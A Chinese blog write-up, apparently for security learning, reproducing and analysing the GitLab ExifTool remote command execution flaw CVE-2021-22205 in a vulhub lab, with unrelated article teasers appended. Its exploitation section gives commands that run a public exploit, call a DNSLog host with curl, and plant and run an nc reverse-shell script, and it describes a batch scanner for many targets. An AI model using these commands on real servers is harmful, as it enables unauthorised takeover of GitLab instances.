【漏洞复现】4. Gitlab exiftool远程命令执行漏洞(CVE-2021-22205)复现与分析

文章目录

  • 1. 预备知识
  • 2. 漏洞复现
    • 2.1 漏洞介绍
      • 2.1.1 简介
      • 2.1.2 事件过程
    • 2.2 漏洞原理分析
    • 2.3 漏洞复现
      • 2.3.1 靶场搭建
      • 2.3.2 漏洞测试
      • 2.3.3 漏洞利用
      • 2.3.4 POC分析
    • 2.4 漏洞修复

1. 预备知识

在这里插入图片描述

GitLab是一个基于Web的Git仓库管理工具,它提供了完整的DevOps平台,集成了代码托管、持续集成/持续部署(CI/CD)、项目管理和协作等功能。作为一个中间件,GitLab提供了以下关键特性:

  1. 代码托管:GitLab提供了强大的代码仓库管理功能,支持Git版本控制系统。开发者可以将代码存储在GitLab的仓库中,并使用Git的强大功能进行版本控制、分支管理和合并请求等操作。GitLab还支持团队协作,允许多个开发者同时工作并合并代码。
  2. CI/CD:GitLab内置了全面的持续集成和持续部署功能。通过配置CI/CD管道,开发者可以自动化构建、测试和部署他们的应用程序。GitLab提供了丰富的构建工具和集成测试框架,同时支持多个环境的自动化部署,以确保应用程序的质量和稳定性。
  3. 项目管理:GitLab提供了一套完整的项目管理工具,包括问题跟踪、需求管理和项目看板等。开发者可以创建问题、分配任务、设置优先级,并与团队成员进行协作。GitLab的项目管理功能使团队能够更好地组织和追踪项目进展,提高开发效率。
  4. 安全性:GitLab重视应用程序的安全性,提供了多个安全功能和工具。它支持静态代码分析、代码扫描和漏洞检测,帮助开发者发现和修复潜在的安全漏洞。此外,GitLab还提供了访问控制、权限管理和单点登录等功能,以确保代码和项目的安全性。
  5. 社区支持:GitLab是一个开源的软件,拥有庞大的用户和开发者社区。社区成员共享经验、提供支持和贡献代码,使GitLab能够不断发展和改进。开发者可以从社区中获取帮助、学习最佳实践,并参与开源项目的贡献。
    GitLab作为一个综合的DevOps平台,通过集成多个功能和工具,使团队能够在一个统一的环境中进行代码管理、持续集成和部署、项目协作和安全管理。它提供了易于使用、高度可定制和可扩展的特性,使开发者能够更加高效地构建、测试和交付优质的软件。

2. 漏洞复现

2.1 漏洞介绍

2.1.1 简介

Gitlab是由Gitlab Inc.开发,基于网络的GIt仓库管理工具,且具有wiki和issue跟踪功能,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务,通过Web界面进行访问公开的或私人的项目。2021年4月5日,GitLab官方发布安全更新修复了此GitLab命令执行漏洞(CVE-2021-22205)。监测发现Gitlab exiftool远程命令执行漏洞在野利用事件及其新型漏洞利用方式,由于Gitlab某些端点路径无需授权,攻击者可在无需认证的情况下完成图片上传,从而执行任意命令,从而导致服务器被接管等。

2.1.2 事件过程

在2021年6月至7月间,两名用户注册了看似随机的用户名,如下图所示:

在这里插入图片描述
这种随机用户名是可能存在的,因为该GitLab CE版本默认允许用户进行注册。此外,在默认情况下注册阶段不会验证邮箱地址,因此新建用户在无需任何后续步骤的情况下可自动登录,另外也不会向管理员发送任何通知。
在这里插入图片描述

几天后,攻击者登录到GitLab服务器,这两个新建用户显然未执行其他任何操作,因此,研究人员决定调查攻击者如何将权限提升至管理员。于是研究员从如下日志文件中找到了利用步骤的第一批踪迹:

/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log
攻击者执行的操作如下:

  1. 用户注册与登录:
"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1" 
"GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1" 
"GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"
  1. 滥用Gitlab API,列出所有项目(包括私密项目在内)
"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"
  1. 为清单中的第一个项目列出问题,随后上传相关附件。
"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1" 
"GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1" 
"POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"
以上为全部内容,攻击者并未执行其他操作。
但其中附件上传引起研究人员的注意,因此在实验室中设置了一个Gitlab服务器,试图复现在野观察到的。该漏洞位于用于删除图像中元数据的开源工具ExifTool中,由于未能解析嵌入在所上传图像中的某些元数据,因此导致代码执行后果。
根据目前FOFA系统最新数据(一年内数据),显示全球范围内(app="GitLab")共有 227,005 个相关服务对外开放。中国使用数量最多,共有 70,455 个;美国第二,共有 32,388 个;德国第三,共有 29,395 个;法国第四,共有 13,283 个;俄罗斯第五,共有 8,988 个。

在这里插入图片描述
在这里插入图片描述

2.2 漏洞原理分析

参考下图,用户上传的文件首先由workhorse模块处理,然后交给rails模块。workhorse模块在处理文件的时候,调用了exifTool。

在这里插入图片描述
参考文档中的研究员发现,只需要获取登陆界面可以获得的csrf-token,就可以未授权地访问/uploads/user接口,上传文件给workhorse,调用exifTool。在13.10版本中,可以看到调用了exifTool:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/exif/exif.go
这个函数名称为startProcessing,被同一个文件里面的newCleaner函数调用
在这里插入图片描述

全局搜索NewCleaner,可以看到在https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/rewrite.go里面调用了这个NewCleaner,调用链为rewriteFormFilesFromMultipart--handleFilePart--handleExifUpload–NewCleaner
然后又在https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/uploads.go里面被HandleFileUploads调用:

在这里插入图片描述
然后从入口反过来寻找调用链。全局搜索上传接口/uploads/user,可以在这个文件里面找到https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upstream/routes.go被路由到了upload.accelerate
在这里插入图片描述

最后在

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/accelerate.go调用了HandlerFileUploads,触发文件处理
在这里插入图片描述

2.3 漏洞复现

2.3.1 靶场搭建

vulhub已安装完毕,进入相应文件夹启动漏洞环境即可。

cd vulhub
cd gitlab

这样既可进入gitlab文件夹
随后ls命令列出gitlab中所有漏洞环境,最后选择对应漏洞并启动。

cd CVE-2021-22205
docker-compose build
docker-compose up -d

在这里插入图片描述

访问localhost:8080可得知相应环境搭建好了。

在这里插入图片描述

2.3.2 漏洞测试

使用vulhub提供的poc.py脚本来测试漏洞,在/tmp路径下创建一个yzq666文件:python poc.py http://192.168.71.128:8080 "youch /tmp/yzq666"

在这里插入图片描述

回到服务器端进入容器中查看,docker exec -it 29e43932ee32 /bin/bash,可以看到yzq666文件创建成功,说明当前环境存在Gitlab任意代码执行漏洞。

在这里插入图片描述

2.3.3 漏洞利用

访问获取对应漏洞的exp,使用https://github.com/Al1ex/CVE-2021-22205的exp检查对应漏洞是否存在:python CVE-2021-22205.py -v true -t http://192.168.71.128:8080。可以看到结果检查到目标存在漏洞,与我们刚刚验证的结果相同。

在这里插入图片描述
使用脚本在服务器容器内创建sh文件,并写入nc反弹shell命令。此处由于本机无法响应,故在DNSLog网站上获取了子域名进行执行结果的的检查:python2 CVE-2021-22205.py -a true -t http://192.168.71.128:8080/ -c “curl 0d7f7db5.ipv6.1433.eu.org.”
在这里插入图片描述
访问DNS’Log网站可以看到执行结果,获取到了相应的解析信息:
在这里插入图片描述
然后再次查看目标机容器可以看到shell.sh文件成功写入:
在这里插入图片描述

修改shell.sh权限使其可执行:`python CVE-2021-22205.py -a true -t http://192.168.71.128:8080/ -c "chmod +x /tmp/shell.sh"`

在这里插入图片描述
在攻击机Kali上开启nc监听,使用脚本在目标机上执行shell.sh文件:
在这里插入图片描述

可以观察到反弹shell成功

在这里插入图片描述

2.3.4 POC分析

如下check函数的功能是检查目标网站是否存在一个漏洞,该漏洞允许攻击者通过上传一个恶意的DJVU文件来执行任意命令。函数的步骤如下:
  1. 创建一个requests.Session对象,用于发送HTTP请求

  2. 尝试访问目标网站的/users/sign_in页面,并关闭SSL验证

  3. 使用BeautifulSoup解析响应的HTML文本,提取第17个meta标签的content属性

  4. 定义一个data变量,它是一个多部分表单数据,其中包含一个名为file的字段,其值是一个恶意的DJVU文件,该文件在metadata段中包含了一条curl命令,用于向攻击者的域名发送当前用户的用户名

  5. 定义一个headers变量,它是一个字典,包含了一些HTTP请求头,如User-Agent, Content-Type, X-CSRF-Token等

  6. 定义一个flag变量,它是一个字符串,表示上传失败的提示信息

  7. 使用session.post方法向目标网站的/uploads/user页面发送一个POST请求,携带data和headers,并关闭SSL验证

  8. 如果响应的文本中包含flag变量的值,说明目标网站存在漏洞,并打印出相应的信息,否则,说明目标网站不存在漏洞,并打印出相应的信息
    在这里插入图片描述
    attack函数的功能是利用目标网站存在的漏洞,向其上传一个恶意的DJVU文件,从而执行任意命令。函数的步骤如下:

  9. 创建一个requests.Session对象,用于发送HTTP请求

  10. 尝试访问目标网站的/users/sign_in页面,并关闭SSL验证

  11. 使用BeautifulSoup解析响应的HTML文本,提取第17个meta标签的content属性,这是一个CSRF令牌

  12. 定义一个data变量,它是一个多部分表单数据,其中包含一个名为file的字段,其值是一个恶意的DJVU文件,该文件在metadata段中包含了一条由参数command指定的任意命令

  13. 定义一个headers变量,它是一个字典,包含了一些HTTP请求头,如User-Agent, Content-Type, X-CSRF-Token等

  14. 定义一个flag变量,它是一个字符串,表示上传失败的提示信息

  15. 使用session.post方法向目标网站的/uploads/user页面发送一个POST请求,携带data和headers,并关闭SSL验证

  16. 如果响应的文本中包含flag变量的值,说明目标网站存在漏洞,并打印出相应的信息,并提示用户到dnslog或主机检查执行结果

  17. 否则,说明目标网站不存在漏洞,并打印出相应的信息

  18. 如果在执行过程中发生任何异常,打印出异常信息
    在这里插入图片描述
    scan函数的功能是从一个文件中读取每一行作为一个网址,然后对每个网址进行格式化处理,最后调用check函数来检查网址是否存在漏洞。函数的步骤如下:

  19. 打开一个文件,以只读模式和utf-8编码

  20. 遍历文件中的每一行,如果行不为空,去掉行首尾的空白字符

  21. 调用format_url函数,对行进行格式化处理,返回一个规范的网址

  22. 调用check函数,传入网址作为参数,检查网址是否存在漏洞
    在这里插入图片描述
    format_url函数的功能是对一个网址进行格式化处理,使其以https开头,并去掉首尾的空白字符。函数的步骤如下:如果网址的前四个字符不是http,说明网址没有指定协议,那么在网址前面加上https,网址去掉首尾的空白字符并返回格式化后的网址,如果在执行过程中发生任何异常,打印出异常信息和网址。
    在这里插入图片描述

    主函数的功能是根据用户输入的参数,选择不同的模式来执行GitLab < 13.10.3 RCE漏洞的检测或利用。函数的解释如下:
    创建一个argparse.ArgumentParser对象,用于解析命令行参数,设置描述为’GitLab < 13.10.3 RCE’,添加-v或–verify参数,类型为bool,表示是否选择验证模式,- 添加-t或–target参数,类型为str,表示目标网址,添加-a或–attack参数,类型为bool,表示是否选择攻击模式,添加-c或–command参数,类型为str,表示要执行的命令, 添加-s或–scan参数,类型为bool,表示是否选择批量模式,添加-f或–file参数,类型为str,表示要扫描的文件路径,然后调用parser.parse_args方法,返回一个包含所有参数值的对象,将对象中的各个参数值赋给对应的变量。如果用户选择了验证模式,并且提供了目标网址,调用check函数来检查目标网址是否存在漏洞;如果用户选择了攻击模式,并且提供了目标网址和命令,调用attack函数来利用漏洞执行命令;如果用户选择了批量模式,并且提供了文件路径,调用scan函数来从文件中读取每个网址并检查漏洞;否则,退出程序。
    在这里插入图片描述

2.4 漏洞修复

  1. 设置Gitlab仅对可信地址开放
  2. 升级至安全版本,Gitlab(CE/EE) 13.8.8/13.9.6/13.10.3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/474567.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

通俗理解自注意力机制

自注意力机制&#xff08;Self-Attention Mechanism&#xff09; 是一种用于处理序列数据的机制&#xff0c;最初被引入到神经网络模型中&#xff0c;用于在序列数据中建立全局依赖关系。自注意力机制最常用于自然语言处理和计算机视觉领域&#xff0c;特别是在Transformer模型…

机器学习 - 预测训练模型

接着上篇博客机器学习-训练模型做进一步说明。 There are three things to make predictions (also called performing inference) with a PyTorch model: Set the model in evaluation mode (model.eval())Make the predictions using the inference mode context manager (…

管理能力学习笔记一:角色转身

管理能力学习是为了解决角色转身后面临的更多更复杂的的问题。初晋管理层&#xff0c;需要转变工作习惯&#xff0c;学会分配时间。 角色转身 建立“授权”意识 通过匹配工作内容与下属员工能力&#xff0c;分配工作&#xff0c;避免陷入下属能力不足 -> 不愿授权 -> 下…

vue3通过el-cascader实现动态菜单切换页面

如果只有一级菜单只会显示一个按钮 <div style"width: 100%; margin-top: 10px; display: flex; align-items: center; border-bottom: 1px solid #ccc;"><template v-for"(menu, index) in cascaderData" :key"index"><el-casc…

Source Insight关于复制一段代码会自动添加空格或者Tab键的配置取消

Source Insight关于复制一段代码会自动添加空格或者Tab键的配置取消&#xff0c;这个情况在我们复制代码的时候对格式非常不友好&#xff0c;解决办法如下。 如下&#xff0c;我们可以设置相关配置&#xff1a; 设置完成后&#xff0c;然后再去复制&#xff0c;可以看到就没有相…

基于C/C++的easyx实现贪吃蛇游戏

文章目录&#xff1a; 一&#xff1a;运行效果 1.演示 2.思路和功能 二&#xff1a;代码 文件架构 Demo 必备知识&#xff1a;基于C/C的easyx图形库教程 一&#xff1a;运行效果 1.演示 效果图◕‿◕✌✌✌ 基于C/C的easyx实现贪吃蛇游戏运行演示 参考&#xff1a;【C语…

一文带你速通go语言指针

写在文章开头 关于go语言的系列文章更新了有一段时间了&#xff0c;从阅读量来看大部分接触go语言的读者都是Java开发&#xff0c;因为Java这门语言没有指针的概念&#xff0c;所以笔者专门整理了一篇文章带读者快速了解一下指针的概念。 Hi&#xff0c;我是 sharkChili &…

【蓝桥杯嵌入式】四、各种外设驱动(十)USART+DMA通信方式和串口通信协议的设计与使用

温馨提示&#xff1a;本文不会重复之前提到的内容&#xff0c;如需查看&#xff0c;请参考附录 【蓝桥杯嵌入式】附录 目录 重点提炼&#xff1a; 一、需求分析 1、需要的外设资源分析&#xff1a; 2、外设具体分析&#xff1a; CubeMX配置中&#xff0c;我们需要改动的参…

C 语言中位取反操作符 ~ 和逻辑取反操作符 !

在 C 语言中&#xff0c;有两种取反操作符&#xff0c;分别是位取反操作符 ~ 和逻辑取反操作符 !。 位取反操作符 ~&#xff1a; 位取反操作符 ~ 是一个一元操作符&#xff0c;用于执行按位取反操作。它会将操作数的每个位取反&#xff0c;即将 0 变为 1&#xff0c;将 1 变为 …

成为高效Java工程师的干货笔记

&#x1f482; 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流&#xff0c;摸鱼划水的小伙伴&#xff0c;请点击【全栈技术交流群】 作为一名Java工程师&…

手撕算法-判断是不是平衡二叉树

描述&#xff1a;分析&#xff1a;只需要看左右子树的深度差小于等于1&#xff0c;且左右子树都是平衡二叉树。 代码&#xff1a; public class Solution {public boolean IsBalanced_Solution (TreeNode pRoot) {if (pRoot null) return true;return Math.abs(deep(pRoot.l…

科普一下|了解胎牛血清

胎牛血清是从未出生的胎牛中经过穿刺采血后&#xff0c;经过层析、离心、三级0.1m微滤除菌等操作而收集到的上清液。本文将会探讨胎牛血清的生产流程、应用、储存以及胎牛血清的成分&#xff0c;让我们一起走进胎牛血清的世界吧&#xff01; 1、胎牛血清的生产流程&#xff1a…

redis的安装与string类型

1. redis的安装 1.1 升级gcc版本 因为centos7.x的gcc版本还是4.8.5&#xff0c;而编译指定的版本是需要5.3以上。 环境部署与安装scl源 yum install gcc cmake -y --部署安装环境 yum install centos-release-scl scl-utils-build -y --安装scl源 安装gcc新版本 yum -y ins…

Batch Normalization(批量归一化)和 Layer Normalization(层归一化)

Batch Normalization(批量归一化)和 Layer Normalization(层归一化)都是深度学习中用于改善网络训练过程的归一化技术。尽管它们的目标相似,即通过规范化中间层的激活值来加速训练过程并提高性能,但它们在细节上有所不同。 Batch Normalization (批量归一化) Batch Nor…

如何处理WordPress网站域名循环重定向

我在 HostEase 搭建了一个 WordPress 网站。在访问网站时出现了循环重定向的问题。经检查&#xff0c;发现是我在 .htaccess 文件中设置的重定向规则导致的。 重定向循环通常指的是一个网页或者URL地址在不断地进行重定向&#xff0c;最终形成一个循环&#xff0c;导致网页无法…

docker swarm 集群创建

1&#xff0c;目的&#xff1a; 通过docker swarm 工具将一台或者多台安装了docker的服务器组成一个完整的集群&#xff0c;该集群中的node节点可以通过Leader节点管理。在使用docker stack部署时&#xff0c;可以将容器自动分发到合适的节点上。 2&#xff0c;服务器准备&am…

C# 数组(Array)

C# 数组&#xff08;Array&#xff09; 初始化数组 声明一个数组不会在内存中初始化数组。当初始化数组变量时&#xff0c;您可以赋值给数组。 数组是一个引用类型&#xff0c;所以您需要使用 new 关键字来创建数组的实例。 例如&#xff1a; double[] b new double[10];…

VMware 替代专题 | 浅析 VMware 与 SmartX 超融合 I/O 路径差异及其影响

不同的超融合软件&#xff0c;其读写机制有一定的差异性&#xff0c;I/O 路径也不尽相同&#xff0c;这使得他们在 I/O 读写效率以及资源占用上都有不同的表现。有兴趣着手构建超融合基础架构的用户&#xff0c;可能会希望了解更多关于 I/O 路径的细节&#xff0c;从而在实施之…

二极管使用总结

1、整流的二极管、快恢复二极管、肖特基二极管做整流的差异。 标准整流二极管与快恢复二极管主要差异在恢复时间上。 • Standard rectifiers with a trr > 500 ns • Fast rectifiers with a 100 ns < trr < 500 ns • Ultrafast rectifiers with a trr < 100…

软件工程导论画图题汇总:期末+复试

文章目录 一、数据模型&#xff1a;实体联系图&#xff08;E-R图&#xff09;二、行为模型&#xff1a;状态转换图三、功能模型&#xff1a;数据流图四、数据字典五、系统流程图六、层次图七、HIPO图八、结构图九、程序流程图十、盒图十一、PAD图十二、判定表、判定树 一、数据…
最新文章